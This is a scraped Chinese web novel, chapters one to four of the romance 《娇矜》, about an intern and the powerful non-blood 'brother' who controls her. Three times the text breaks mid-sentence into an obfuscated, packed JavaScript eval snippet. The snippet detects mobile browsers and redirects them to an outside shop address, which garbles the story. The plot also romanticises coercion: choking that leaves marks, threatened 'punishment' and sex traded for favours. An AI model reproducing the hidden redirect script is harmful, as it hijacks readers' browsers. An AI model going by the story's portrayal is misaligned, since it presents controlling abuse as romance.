《娇矜》 1. 01 《娇矜》/江柳一 薄津棠x钟漓 第一章 琉璃般璀璨路灯点缀着夜色,悦澜公馆外停着一溜烟的豪车。 火红色的跑车轻盈快速地驶入停车位,发动机沉闷轰鸣声停下的时候,钟漓的手机发出“叮”声消息提示声。 ——【我今晚临时有应酬,会很晚回家。】 “他到底怎么说?” “他又不是你亲哥,怎么什么都管?” “而且是为了公事,不是私事。” 驾驶座传来好友姜绵为她抱不平的声音,带着几分泄愤的埋怨力度。 钟漓把手机屏幕朝姜绵那侧晃了晃,弯唇,笑着说:“他今天有应酬,我只需要赶在他回家前到家就行。” “他一般几点回家?”姜绵边解安全带边问。 “有应酬的话,不好说,最早也是十二点。” 悦澜公馆的人认得姜绵的车,见她车停稳,立马上前替她们打开车门,“小小姐,钟小姐。” 姜绵收到钟漓的眼神暗示,问前来迎接她俩的管家,“三表哥到了吗?” 她口中的三表哥是陈晋南。 悦澜公馆是陈家老宅。隔着远远的距离,都能看见悦澜公馆宴会厅交织的繁华景象。今天的晚宴是陈四少的生日宴,姜绵没问寿星公,反倒是问起了陈三少,管家虽有疑惑,但没问出口,老实地回道:“三少有个应酬。” 闻言,姜绵和钟漓对视了眼。 钟漓眉头稍蹙,神情里一闪而过失落与沮丧。 姜绵追问:“他不来了吗?” 管家说:“来的,只是会晚点。” 得到满意的答案,姜绵朝管家挥了挥手:“你去招呼别人吧。” 管家审时度势地离开。 姜绵对悦澜公馆很熟悉,她没带钟漓去宴会厅,而是去了宴会厅隔壁的房间。这间房设计别出心裁,房间是休息室,内置高档沙发。它的别出心裁之处在于,和宴会厅一墙之隔——隔的是玻璃墙,单向透视玻璃。 里面的人能看见宴会厅,宴会厅的人却看不到里面。 宴会厅里人影幢幢,穿着正装的年轻男女杯盏交错,大半个豪门圈的二代都集聚在此。 姜绵在沙发上坐下后,问钟漓:“你不过是个实习生,杂志社怎么会把采访的任务交给你?” 钟漓说:“要是能采访到陈晋南,转正就板上钉钉了。” 姜绵:“非得是陈晋南吗?要我说,你不如直接找姓薄的那位爷。” 钟漓没应声,她专注盯着宴会厅,眼前猛地一亮。 可不到三秒的工夫,姜绵就发现钟漓浑身紧绷。 钟漓今晚穿着的礼服裙是无袖的裹胸设计,高定礼服裙是根据每位客人的身体严丝合缝定制的,裙子紧密地包裹着她的身体,清晰地勾勒出她迤逦突出的胸线。 她一紧张,锁骨深深凹陷,双肩微耸,沉甸甸的胸呼之欲出。 换在以前,姜绵还有闲心思欣赏闺蜜的美色,但今天,她顺着钟漓的视线往外看—— 宴会厅里人头攒簇,有个男人实在帅得过分突出,令人一眼望过去,视线就被他攫住。 男人身边站着的是钟漓今晚要找的采访对象,陈晋南。陈晋南的长相斯文温润,他身侧的男人与他恰恰相反,帅得极具攻击力,剑眉星目,骨感冷硬。 整个人散发着凌厉又生人勿进的禁欲气息。 他脖颈细白修长,凸出的喉结像是坚冷的冰块,料峭嶙峋。 姜绵总算知道钟漓为什么这么紧张了,“姓薄的不是有应酬吗?” 钟漓的脑袋一片空白。 姜绵:“怎么办?” 钟漓回神,“要不你把你表哥单独叫过来?” 姜绵:“那姓薄的呢?” 钟漓头疼。 她没想到他所说的应酬,是来这儿应酬。 她前阵子才答应过他,最近老老实实待在家里,绝不参与任何晚宴聚会。 如有违背,后果自负。 像是察觉到了有人在偷偷打量他,立在人群里的那道凛冽身影,忽地往这边看来,眼神锐利,似能穿破单向透视玻璃,极为有压迫感。 钟漓想了想,“我还是先回家吧。” 姜绵拉住她:“采访呢?” 钟漓说:“下次再约。” 见她这幅胆战心惊的模样,姜绵忍不住笑:“有这么怕吗?” 钟漓心道,你根本不懂“后果”。 “他要是知道我舍近求远,不采访他,而是采访陈三少,估计会生气。”半真半假的内容,却很合理,足够让人信服。 “所以你为什么不采访他?”姜绵再次问道。 “他没接受过任何一家媒体的采访。” “你正好拿个独家,转正不是轻轻松松吗?” “他是那么大方的人吗?”钟漓冷着脸,“肯定要我和他做交易,才会答应采访。” “你好歹叫他这么多年的哥。” “你也说了,又不是亲哥。” “……好吧,”姜绵沉默三秒,问了个发人省醒的问题,“他会和你做什么交易?钱?他又不缺。” 钟漓动作稍顿,意味深长地说:“体罚。” 姜绵心惊胆战。 钟漓成年后,时常被体罚,体罚后的钟漓,有三天见不着人影。电话打过去,只能听到她虚弱的声音。 “姓薄的有病。”姜绵低低地骂了声。 钟漓神情里闪过一丝不易察觉的不自然,她朝姜绵伸手:“你把车钥匙给我,我开你车走。” 悦澜公馆离市区有一段距离,周边很难打车。 姜绵从手包里掏出车钥匙:“知道出去的路怎么走吧?” 钟漓说:“知道。” 姜绵:“行,路上小心。” 拿上车钥匙,钟漓火速离开。 晚宴厅里觥筹交错,走廊却安静幽深。 钟漓步调匆忙仓促,七厘米的高跟鞋如履平地般,鞋面与地面碰撞的声响清脆,隐有回音,荡漾出诡谲的惊悚感。 钟漓心跳加快,经过一道紧闭的房门时,忽地听到开门声。 猝不及防间。 里面伸出一只手。 指尖微凉,触碰到她皮肤时,令她不自觉地瑟缩了下。 而后,五指收紧,带着不容置喙的力度,将她拽进屋内。 没有开灯的房间,嗅觉先于视觉一步行动。 她闻到了一股熟悉的雪松香,带着天寒地冻的雪意,凛冽疏冷。 下一秒。 “咔哒”一声。 灯光乍亮。 钟漓抬眼,看清了眼前的人。 和她猜想的一样。 姓薄的那位爷。 薄津棠。 不对。 她叫他一声“哥哥”。 - 钟漓是十三岁那年来到的薄家。 她到薄家后见的第一个人即是薄津棠。 他刚打完球,大汗淋漓,短发被汗水沾湿,成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660735|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绺地耷拉着,隐约可以看见过分浓密的眉毛。一双眼漆黑,一错不落地盯着钟漓,给人一种难以侵犯的傲慢感。 阳光穿过落地窗,落在他眉眼,给他双眸沾染几分柔和,他微微一笑,压着蓬勃的荷尔蒙:“你好,我是薄津棠。” “漓漓,叫哥哥。”身边的人提醒钟漓。 钟漓:“哥哥。” 当时的钟漓没想到,这一声“哥哥”,一喊就是九年。 也因这一声“哥哥”,从此以后,向来独来独往的薄津棠身边便多了个毫无血缘关系的妹妹。 钟漓貌美肤白,一双鹿眼过分清澈,不说话时,一张脸展现出楚楚可人的清纯。 所有人都被她这张过分惊艳的脸给欺骗了,事实上,钟大小姐骄矜,任性,乖戾,喜欢——也只喜欢与薄津棠对着干。 薄津棠要她往东,她偏要往西。 就像今天。 薄津棠受到陈晋南的邀请,前来参加陈家四少的生日宴。和陈晋南的谈话期间,陈家管家过来,与陈晋南说了句:“小小姐来了,还有她的朋友,但小小姐问了您的事,可能要找你。” 陈晋南问:“她朋友?” 管家朝薄津棠看了眼,欲言又止。 薄津棠似有所感,“钟漓?” 管家:“是的,就是钟小姐。” 薄津棠目光很静,“她人呢?” 管家并未朝宴会厅隔壁的休息室看,保持着汇报的姿态,说:“钟小姐在隔壁的休息室里。” 薄、陈两家是世交,薄津棠对悦澜公馆的格局构造略知一二,自然也知晓休息室在哪儿。 怪不得他总觉得有一双眼睛在盯着自己。 恰好有人举着托盘路过,薄津棠将手里的酒杯放置托盘上,他撂下陈晋南,说:“有事,失陪一下。” 陈晋南莫名:“你去哪儿?” 回答他的,是薄津棠远去的背影。 - 薄津棠眼帘低垂,眼底漫着深不见底的暗色:“不是说,不参加任何晚宴和聚会?” 钟漓提防着他,脊背紧贴门板,尽量拉开与他之间的距离,“你不是应酬吗?怎么会在这里?” 薄津棠将她的细小动作收于眼底,他嗤笑了声,“是我先问的你,漓漓。” 钟漓说:“你先听我解释,我是有正事。” 薄津棠:“什么正事?” 钟漓道:“杂志社拟了个采访名单,要是采访到名单里的大人物,就能转正。” 薄津棠:“你要采访谁?” 钟漓说:“陈晋南。” 薄津棠的手不知何时放在钟漓的颈间,他虚虚地扣住她的脖颈,脸上有笑,笑意却不达眼底,“让我猜猜,那个采访名单里,是不是也有我?” “……没有!”钟漓矢口否认。 下一秒,扣在她颈间的手收拢,薄津棠俯身贴近,炽热的呼吸打在她的脸上,他眼尾上扬,嘴角滑出抹浅淡的笑,声音带有凛冽的质感。 “言而无信。” “又说谎。” “你猜今晚的惩罚是什么?” 他眼里,话里,神情里的暗示意味足够明显,是他生气的前兆。 钟漓胸口起伏,决定使用缓兵之计:“回家,回家再说。” 薄津棠笑意里有着运筹帷幄的从容,他松开扣着她脖子的手,细长白皙的颈部,有着一圈鲜红指印,他咬字轻懒,提醒她,“是回我公寓。” 他那张淡漠矜贵的表皮下,藏着冷感的危险。 2. 02 02 薄津棠有一套公寓,成年后便搬离薄家,在外面的公寓独居。 那套公寓,薄津棠父母几次要过去,都被他态度冷淡地回绝。理由敷衍冷漠,他喜清净,不愿被人打扰,父母也不行。 钟漓去过他的公寓,不止一次。 钟漓不想去他的公寓,每一次。 陌生人亦或者是亲朋好友眼里的薄津棠,虽生了张极具攻击性的浓颜,最起码举手投足间尽显世家公子的绅士气度。 没有绅士会带从小到大叫他“哥哥”的“妹妹”,去他家过夜。 去他的床上过夜。 钟漓偏过头,她最常做的事就是与他对着干,即便明知会惹怒他:“我不去。” “陈晋南。”他轻描淡写地说,“不是要采访他?” 钟漓靠着墙,颈间已经没了他的指印,但还漫着红晕。她隐约读懂了他的言外之意,不确定他会有这么好心,“你帮我说服他,需要什么条件?” 作为陈家钦定的继承人,新宇集团的下一任总裁,陈晋南在国外待了近十年,如今回国,自然成为炙手可热的风云人物。各家媒体都想拿到他的独家采访。 “条件?”薄津棠提醒她,“地位平等,对彼此有利可图,这样才能谈条件。你能给我什么?” 钱?他不缺,她没有。 权?他不缺,她没有。 说来说去,她谈判的资本,除了她这个人以外,再无其他。 钟漓能屈能伸:“去公寓。” 谈判完成。 方才还对他避之不及的人,出了房门,动作自然流畅地挽住他的胳膊。 宴会厅灯火通明,忽地引起一阵骚动,吸引着在场所有人的目光。 年轻男女模样出众,登对,人群自动自发地拨开,为二人开出一条道来。那条道直通向陈晋南。 陈晋南出国的时间与钟漓进薄家的时间相差无几,他看见薄津棠去而复返,回来时身边多了个女人,一时间忘了薄津棠多了个“妹妹”的事,他问:“女朋友?”问完,不等薄津棠回答,打趣道,“我以为你清心寡欲,什么时候谈的?” 薄津棠站在钟漓身旁,一副置身事外的悠闲。 见他没有任何解释的打算,钟漓端着笑,她五官明艳妩媚,笑起来眼里荡漾出盈盈色泽,比今夜星光还要耀眼,“陈三哥,我是钟漓。” “钟漓?”陈晋南静默片刻,这才想起来,“实在抱歉,我很多年没回国,一下子没想起来。” “你俩以前没见过。”薄津棠语调凉飕飕地,煞风景地提醒着。 “有幸听过些传闻。”陈晋南说。 他说的隐晦,没说听到的究竟是何种传闻。 圈内有关钟漓和薄津棠的传闻大致分两种。 薄津棠多了个没有血缘关系的拖油瓶妹妹; 薄津棠多了个童养媳。 薄津棠一身落拓风流,却是出了名的不近女色。身边唯一的女性,就是钟漓。 可薄津棠和钟漓间的相处,又算不上亲密。 顶多就是私下的每次聚会,薄津棠都会带着钟漓——也只是带在身边,没有多余的言语沟通。起初钟漓还瑟缩拽着薄津棠的袖子不放,局促,不安,实打实的没见过世面的小丫头片子。 时间久了。 被薄家的滔天权势养着,养出一身娇贵。 大方,得体,知分寸,懂礼节。 钟漓彻底融入薄津棠的圈子,会对薄津棠的好友们喊“哥哥”,唯独不再喊薄津棠“哥哥”。 薄津棠显然对传闻不感兴趣,他省略双方寒暄的步骤,直奔主题:“哪天有时间?” 陈晋南:“什么?” 薄津棠:“她要找你做个采访。” 不是想,是要。 清淡语调,高高在上的态度。 陈晋南对此见怪不怪,温和问向钟漓:“你什么时候有时间?” 态度谦卑,不像薄津棠,总一副目中无人的傲慢。 钟漓不敢让他将就自己的时间,忙说:“我随时,陈三哥什么时候有空,我就有空。” 陈晋南刚回国,业务繁忙,他在心底估算了下:“下周二,可以吗?” 钟漓眼底一喜:“可以的。” 事情比她想象的进展顺利,钟漓正打算说几句感激的话,一旁的薄津棠,朝某个方位懒散地抬了抬下颌,意兴阑珊道:“你家老四来了。” 今夜晚宴不仅是陈家老四的生日宴,还是陈晋南的接风洗尘宴。 两位主人公到场,陈晋南说了句“失陪”后,转身离开。 / 宴会都雷同。 薄津棠的身份摆在这儿,即便是来宾,也是座上宾,是贵客,是金字塔顶端的人。时不时有人眼巴巴地凑过来,一脸谄媚地追捧他。 薄津棠很少出现在这种场合,今天出席,也是卖陈晋南一个面子。 陈晋南一走,薄津棠斜睨了钟漓一眼,深眸晦暗,意有所指。 他什么也没说,转身就走,钟漓把手里的香槟随意放在桌上,踩着七厘米的高跟鞋,磨磨蹭蹭地跟在他身后。 走的还是通往侧门的路。 薄津棠声音懒怠:“你现在拖延时间,拖一分钟,我待会儿会拖十分钟。” 钟漓抬头,注意到二人间已经拉开六七米远的距离,距离安全地仿佛在说“我俩压根不熟”。他一脸淡定说出的话,令她满脸涨红。 “高跟鞋,不好走。”她的借口很蹩脚。 “刚刚躲我的时候,跑得挺快。”薄津棠一下戳穿。 “我身体不舒服。”她再找借口。 薄津棠黑眸淡淡地睇着她,毫无温度的目光,却教她浑身发毛。钟漓双唇翕动,刚想说什么的时候,就见他提步朝自己走来。 然后。 以迅雷不及掩耳之势,把她拦腰扛了起来。 天旋地转,仓促间,钟漓依靠本能,手护在胸口,拉扯着裹胸的礼服。 悦澜公馆到处都是保安,钟漓怕被人看到,小声挣扎:“薄津棠,你在干什么?你放我下来!” “不是不舒服?”薄津棠说,“既然走得慢,我换种方式让你跟上我,轻松,不费力,多好。” “这样我更不舒服。” “忍着。”他嗓音冷淡。 钟漓还在挣扎,屁股上猛地一重。 薄津棠往她屁股上拍了一掌。 “安分点,把力气留到床上去。”薄津棠的步伐沉稳又快,没有因为肩上扛着个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660736|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人而显得费力,他气息平稳,“这会儿没人,但你接着动,我不能保证我会不会记错路,一不小心绕路回到宴会厅去。” 说话间,已经到了室外。 浅淡的夜风扑面而来,空气里盈着馥郁的桂花香,仔细嗅,能嗅到他话语里淡淡的胁迫。 钟漓不动了。 来时各个走廊里都是保安的悦澜公馆,此刻安静得不像话,人影都没一个。 公馆外,负责停车的泊车人员也消失的无影无踪。 钟漓被薄津棠放在地面,眼尾扫到身边停着的火红色跑车。 这是姜绵的车。 薄津棠俯身,打开副驾车门,强行把钟漓塞了进去。 钟漓抬眸,车外,薄津棠手搭着车门,一身黑,拒人千里的冷,轮廓分明的脸搭着慵懒的神情,散发着亦正亦邪的气质。 “你没开车?”钟漓问他。 “开了。”薄津棠把车门关上,绕过车身,到驾驶座坐下。姜绵和他的身高差过于明显,他坐进去时束手束脚地,他调好座椅,发动车子,侧脸自得沉稳,边开车边和钟漓算账,“你还记得你答应过我,最近不参与任何活动聚会?” 钟漓强调:“我不是为了玩,是为了工作。” 薄津棠放在方向盘上的手,手背青筋如山势蜿蜒,修长指尖轻敲着方向盘,钟漓的心跳随着他轻叩的动作,紧绷地跳动。 “让我想想,上次你是为什么答应我的?” 上次是指。 上次聚会时,姜绵喝多了酒和人起了争执,对方是圈内臭名昭著的纨绔公子哥,不把任何人放在眼里,场面一下子闹得很僵。好在薄津棠那天就在同一家会所应酬,听到钟漓沾上事儿了,他撇下合作伙伴,过来替钟漓解围。 圈内有关薄津棠的传言很多,句句属实:嚣张跋扈、盛气凌人、目空一切、恶劣、蛮横…… 再纨绔的人,到他面前也成了摇尾乞怜的哈巴狗,远远瞅见薄津棠的身影,那位公子哥就麻溜儿地跑了。 那人能跑,姜绵也能跑,但钟漓跑不了。 这事发生后,钟漓心有余悸,未等薄津棠开口,她迎着他薄冷的脸,自动自发地说:“我以后再也不参加任何宴会了。” 他偏头朝她笑了下,摆出一副绅士特有的温和风度,“记起来了,不是你答应我的,是你主动和我承诺的。” “不参加宴会。” “怕被我发现,还特意给我发消息问我今晚几点回家。” 薄津棠说了三句话,这三句之后,直到车子驶入公寓的专属停车位,他都没再说过一个字。 钟漓的心情写满了忐忑,不安。 车子熄火后,薄津棠没下车。 钟漓感受到有束强烈目光落在自己身上,她偏头,撞进一双狭锐漆黑的深瞳里。 光刺入车厢内,薄津棠的脸被光影切割成两部分,被光宠幸的下半张脸,下颌线利落流畅,浸泡在晦暗环境里的上半张脸,显得淡幽。 他不说话时,给人一种遥不可及的距离感,又有种难以触碰的矜贵感。 这种不食人间烟火的疏离感,随着他一句话,一击即碎。 薄津棠眉骨轻抬,声色淡淡:“今晚第一次,是打算在车里,还是在电梯间?” 3. 03 03 钟漓哪个都不想选。 薄津棠像是看出了她心底的反抗,又像是没看出。面对她的迟疑,他过度且过分解读,以为这份沉默是默许。 “原来我们漓漓喜欢在车里。” “我没有。”钟漓眉头蹙起。 “原来我们漓漓更喜欢电梯间。”薄津棠喉咙里轻哂一声。 钟漓从这抹笑里捕捉到运筹帷幄的松弛,忽地意识到,自己掉进了薄津棠挖好的陷阱里。 薄津棠有严重的洁癖,也有过分严苛的领地意识。 这辆红色跑车,是姜绵的。 他不可能在别人的车里做。 混沌间,副驾驶车门被他由外打开,薄津棠双手插兜,神色悠闲地伫在车外,懒洋洋地睨着她,“需要我请你下车吗?大小姐。” 钟漓的安全带还没解开,她手指抠着安全带的缎面,“我也不是很喜欢电梯间。” 薄津棠语气散漫得很:“答案错误。” 钟漓:“电梯间有监控。” 薄津棠盯着她,尾调下沉,端着几分善解人意:“你考虑得挺周到。” 这是松口的意思? 钟漓绷着的心弦松开,手指按压安全带暗扣,束缚在胸前的安全带抽离的时候。 薄津棠拨了个电话,薄唇微扯,低沉的嗓暗含不怀好意,“保安室,把我这栋楼电梯间的监控给关了。” / 电梯间冷气充裕,金色壁面的电梯间,连光都透着富丽堂皇。 电梯门打开,直通玄关。 室内规整,有序。地面,沿途掉落着礼服裙,高定西装外套沦为钟漓的脚垫,任她随意踩踏。 尤为割裂,也尤为格格不入。 就像钟漓存在于薄家。 没有开灯的暗室里,听觉变得敏锐。 她听见薄津棠紊乱的气息,失控般的掠夺,流连缠绵的指,上瘾般的吻。 这也是割裂的地方。 外人眼里的薄津棠,苛于律己,清心寡欲,是个出手凌厉的狠角色,毫无温柔可言。 只有在这种时刻,他衣襟敞开,身上游离出世俗规矩之外的放浪感,钟漓才会觉得,自己和薄津棠处于一个世界。 那种格格不入感,被薄津棠炽热的掌心,逐渐消融。 薄津棠言出必行,“惩罚”着她的言而无信。 直到后半夜,清凌凌的月光被乌云遮蔽,薄津棠才放过钟漓。 钟漓有个习惯,要把窗帘拉开,次日醒来,艳阳高照,强光被玻璃隔绝,温度柔和地照拂在她的脸上,她眼皮颤颤抖动,醒了过来。 她翻了个身,床的另一侧,空空荡荡。 没一会儿,浴室门开,衣帽间里传出窸窣声响,紧接着,脚步声由远及近。 薄津棠已经穿好衬衫,黑色西装裤勾勒出笔直颀长的双腿,黑色外套对折,搭在他臂弯。 昨晚的旖旎放荡像是一场梦,此刻的薄津棠,斯文禁欲,浑身充满着危险性。 见她醒来,薄津棠居高临下地看着她,语气如同一兜冷水朝她泼来,“我已经和姜绵的父亲打了招呼,最近一个月,姜绵都被禁足在家。” 钟漓刚睡醒,大脑还没清醒,用了好几秒的时间才消化掉他的话,“她表哥生日,她参加生日宴,这有什么问题吗?” “她表哥生日,不是你表哥生日。”薄津棠大发慈悲地开口,“如果我把上个月发生的事告诉她父亲,就不是禁足一个月这么简单了。” 钟漓霎时偃旗息鼓了,她又想起来:“你昨晚为什么开她的车?” 薄津棠是精明奸诈的资本家:“我帮她解围,还没收她谢礼。” 钟漓说:“你又不差这么一辆车。” 薄津棠懒懒地:“谁说我不差?” 钟漓眼神怪异:“你要开红色的跑车?” 薄津棠哼笑了声:“我可以把它卖了。” 那辆跑车可是姜绵缠着她爸妈小半年才要来的,是她的梦中情车。钟漓掀开被子,抓住薄津棠的胳膊,“你是替我解围的,不是替姜绵,她不需要给你谢礼。” “事情是她惹的。”薄津棠把她的手指一根根掰开,他已经没了昨晚的迫不及待,现在浑身透着股“女人勿近”的性冷淡。 完美诠释,什么叫穿上裤子不认人的渣男。 钟漓亦步亦趋地跟着他,“能换个谢礼吗?其他什么都行,这辆车不行。” 薄津棠坐在餐桌旁,慢条斯理地喝着咖啡,充耳未闻。 钟漓说:“而且昨晚也是我求她带我去的,她一开始不愿意,我求了她很久,她才松口的。” “我还是头一回知道,我养大的人,需要低头求姜家人办事。”薄津棠放下咖啡杯,语气淡的如同咖啡杯里冒出的热气,眨眼的工夫融入空气。 ——原来在这里等着她。 归根结底,他不满的并非是姜绵,也没有斤斤计较到要姜绵的跑车当他顺手帮忙的谢礼的地步。真正让他不悦的,是钟漓。 “昨晚没有我,陈晋南会答应接受你的采访?” 钟漓沉默了。 姜绵曾明确地告诉过她,陈晋南从小被当成集团接班人培养,尤其是他们做的是家族企业,内斗严重。别说是表兄妹了,他们陈家四兄弟的关系都一般,表面笑盈盈,实则会在背后捅对方刀子。所以姜绵只能把钟漓带到悦澜公馆,之后的事,只能钟漓自己忙活了。 悦澜公馆需要邀请函才能进入,姜绵带她过来,钟漓已经很感谢她了,能否采访到陈晋南,那得看她自己。 关于采访一事,钟漓心里有八成把握。 八成失败的把握。 没想到中间杀出个薄津棠来。 这世界上就没有薄津棠办不成的事儿。 但钟漓不想求薄津棠。 “我不能什么事都找你,”钟漓如实说,“我都二十二岁了,也得靠自己试试。” “我是要死了还是薄家容不下你打算把你赶出去?”薄津棠起身,冷冷地觑她一眼,“我以前和你说的话你都忘了?——能和我说的事,没必要低头求人。” 说完这句话,薄津棠出门了。 餐桌上摆满了早餐,除了那杯他喝了一口的咖啡,其余的,分毫未动。 看样子,被气得不轻。 / 今天是周五,钟漓得去杂志社上班。 她今年大四,在国内首屈一指的杂志社实习。 《SIGNAL》杂志社成立约二十年,旗下有诸多杂志,杂志内容囊括时装、美容、明星等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660737|188422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各方面。钟漓在与公司同名的杂志编辑部实习,《SIGNAL》专注塑造男士风度,横跨商业与时尚领域。正因此,陈晋南才会在钟漓的采访名单里。 众所周知,实习生就是免费劳动力,给正式员工打下手的。 钟漓忙活一上午,打印整理材料,整理服装道具,就连买咖啡这种活都干了。忙活完一系列琐碎杂事,喘息的空档,还得打开电脑写策划案。 “又不是只有你一个实习生,他们也就只敢使唤你。”对面工位的凌雀从电脑后探出头,眼神往另一侧瞟,似有若无的嘲讽语调,“这年头,关系户就是不一样。” 钟漓顺着凌雀的视线看过去。 主编身边站了个实习生,二人聊得热火朝天。 乍一看,还以为主编是个平易近人好说话的主。实则爱吹毛求疵,脾气暴躁,标点符号用错都会大发雷霆,把人骂的狗血淋头。 “还真别说,程千窈和总裁长得挺像的,尤其是那双眼睛,简直是一模一样。”凌雀说。 凌雀口中的总裁是一手创办《SIGNAL》杂志社的人,章朝莹。 程千窈和钟漓一样,是实习生。 但又不一样,钟漓通过面试笔试层层筛选,以双试第一的成绩入的社。 程千窈是空降兵,章朝莹的特助带她来到编辑部,毫不避讳她的身份,说她是总裁千金,希望大家多多照顾。 钟漓不甚在意地笑笑。 凌雀问她:“采访对象选好了吗?” 选是选好了,但在采访稿写好之前,一切都是未知数。钟漓没透露太多,含糊地搪塞着,“还在纠结。” “据说程千窈要采访的对象大有来头。”凌雀压低了声音,和她说着小道消息,“城北薄家,听过没?薄家太子爷,薄津棠。” 钟漓眸光微滞,敲打键盘的动作迟缓下来,“是吗?你从哪儿听来的?” “上厕所的时候。”凌雀说,“我刚进隔间,程千窈就进洗手间了,估摸着以为洗手间没人,她和她妈打电话呢,求她妈给她约薄津棠的独家专访。” “千金大小姐就是不一样,声音又酥又嗲的,撒起娇来,听得我骨头都酥了。我要是她妈,她就算是要天上的星星,我都给她摘了。” 钟漓的思想开了个小差。 她要是想要天上的星星,薄津棠会给她摘吗? ……算了,她学不来程千窈那种浑然天成的娇嗔。 况且她不想要星星,她只想转正。 薄家处于金字塔顶端,陈家虽说是显贵,但和薄家比起来还是差了一截。 圈子里的人,私底下都喊薄津棠一声太子爷。 任谁都知道,这位爷最烦出现在媒体镜头里。有次狗仔偷拍明星,不小心拍到了他,隔天,狗仔所在的工作室就倒闭,网上有关薄津棠的照片全被撤了。 用脚指头想,薄津棠都不会答应采访。 键盘上,钟漓敲打的手指停了下来。 她没忍住,给薄津棠发了条消息,试探性地问:【你要接受采访了?】 薄津棠:【陈晋南拒绝你了?】 钟漓莫名,怎么扯上陈晋南了? 没等她回复,又一条消息接踵而至。 薄津棠:【把我当什么?备胎?】 4. 04 04 陈晋南拒绝她。 所以她退而求其次,找薄津棠。 钟漓绕了一大圈,终于想清楚薄津棠口中的“备胎”含义。 她由衷佩服他的脑洞,正组织着措辞的时候,手机叮咚作响,薄津棠又发来一条消息。 薄津棠:【下班之后到不夜宴。】 不夜宴和其他富丽堂皇的会所不同,坐落在东三环的胡同里,低调隐秘。远远看去,和胡同里其余的普通宅邸没什么区别。 大门推开,才能看清里面的骄奢淫逸。路边的典雅宫灯,盛开的素冠荷鼎,雍容华贵的紫檀木雕屏风……每个细节都透着精雕细琢。 不夜宴也与其他会所相同,实行会员制。 钟漓不是不夜宴的会员,但她能自由进出不夜宴。 因为薄津棠是不夜宴的股东之一。 薄津棠很双标。 他不允许钟漓参加任何活动,但可以允许钟漓跟着他出席任何活动。 钟漓打车到不夜宴,从车里下来,看到了属于姜绵的红色跑车。处于轰鸣状态的发动机,一下子停了下来,钟漓以为车里坐着的是姜绵,结果驾驶座门打开,出来的是姜绍白——姜绵的龙凤胎哥哥。 姜绵比钟漓大两岁。 钟漓管姜绍白叫:“绍白哥。” 姜绍白把车钥匙递给会所的泊车小弟,下车后听到她的声音,朝她招了招手:“漓漓。”他左右瞄了眼,“打车来的?” “对。” “怎么不让司机接送你?” “我从杂志社直接过来的,要是被杂志社的人看到我有司机接送,影响不好。” “姜绵要是有你这种觉悟就好了。”姜绍白说,“成天开着这么辆车招摇过市,压根不知道低调这词怎么写。” 随后,他又老生常态地来了一句:“哎,怎么就不能你是我亲妹呢?” 话音落下,身后响起一道吊儿郎当的打趣声。 “什么意思啊你姜绍白,和我抢妹妹来了?漓漓,咱们说句掏心窝子的话,我是不是这堆狗东西里面对你最好的那个?你不许当他妹妹,听我的,来当我亲妹,明儿个我安排人把你弄进我家户口本里。” 二人齐齐朝声源处看。 薄津棠不知何时到的,身边还站了个岑策。 岑策和姜绍白眼馋薄津棠这个妹妹很久了。 钟漓和圈子里的那帮目下无尘的大小姐不一样。薄津棠这帮兄弟们喜欢管钟漓叫一声“小公主”,大众的刻板印象里,被喊“公主”的多少都有些公主病,又加上有薄津棠撑腰,钟漓理应是骄纵蛮横的。 事实恰恰相反。 钟漓乖得不行。 长得漂亮,听话懂事,成绩优异,样样都拿得出手。 他们不着四六地谑称她为——梦中情妹。 岑策和姜绍白依然吵吵闹闹,抢着钟漓的监护权。薄津棠对此见怪不怪,他脸上写满了无所谓,路过钟漓的时候,眼梢耷拉着,乜了她一眼,钟漓立刻跟上。 包厢里已经有不少人,男男女女,都是熟面孔。 见他们过来,有人自动自发地给他们让座。 钟漓没坐到薄津棠身边,她找了个角落的位置。 薄津棠一坐下,接二连三地有人和他搭话,隔着诡谲迷幻的灯光,钟漓能看见来人脸上的谄媚与讨好,也能看见在影绰的昏昧里,薄津棠眼里透着的浅薄到几乎没有的不耐烦。 包厢里有人在唱歌,歌声优美,字字都在调上。 钟漓不清楚薄津棠一行人聚在这里是干什么,她心不在焉地听了会儿人唱歌,忽地看到包厢门被人推开。 开门关门是很稀松平常的事,但那扇门一直保持着开着的状态,廊外暖色调的光直直刺进低色温的包厢内,渐渐地,众人意识到了不对劲,纷纷朝门边看去。 门边站了三个人,两边是穿黑色衣服的保镖,被挟持在中间的男人穿着件印满品牌logo的衬衫。整个人浮夸又张扬。 一时间,包厢静了下来。 方才还躁动作响的音乐也被人强硬暂停。 男人被保镖们推至薄津棠面前。 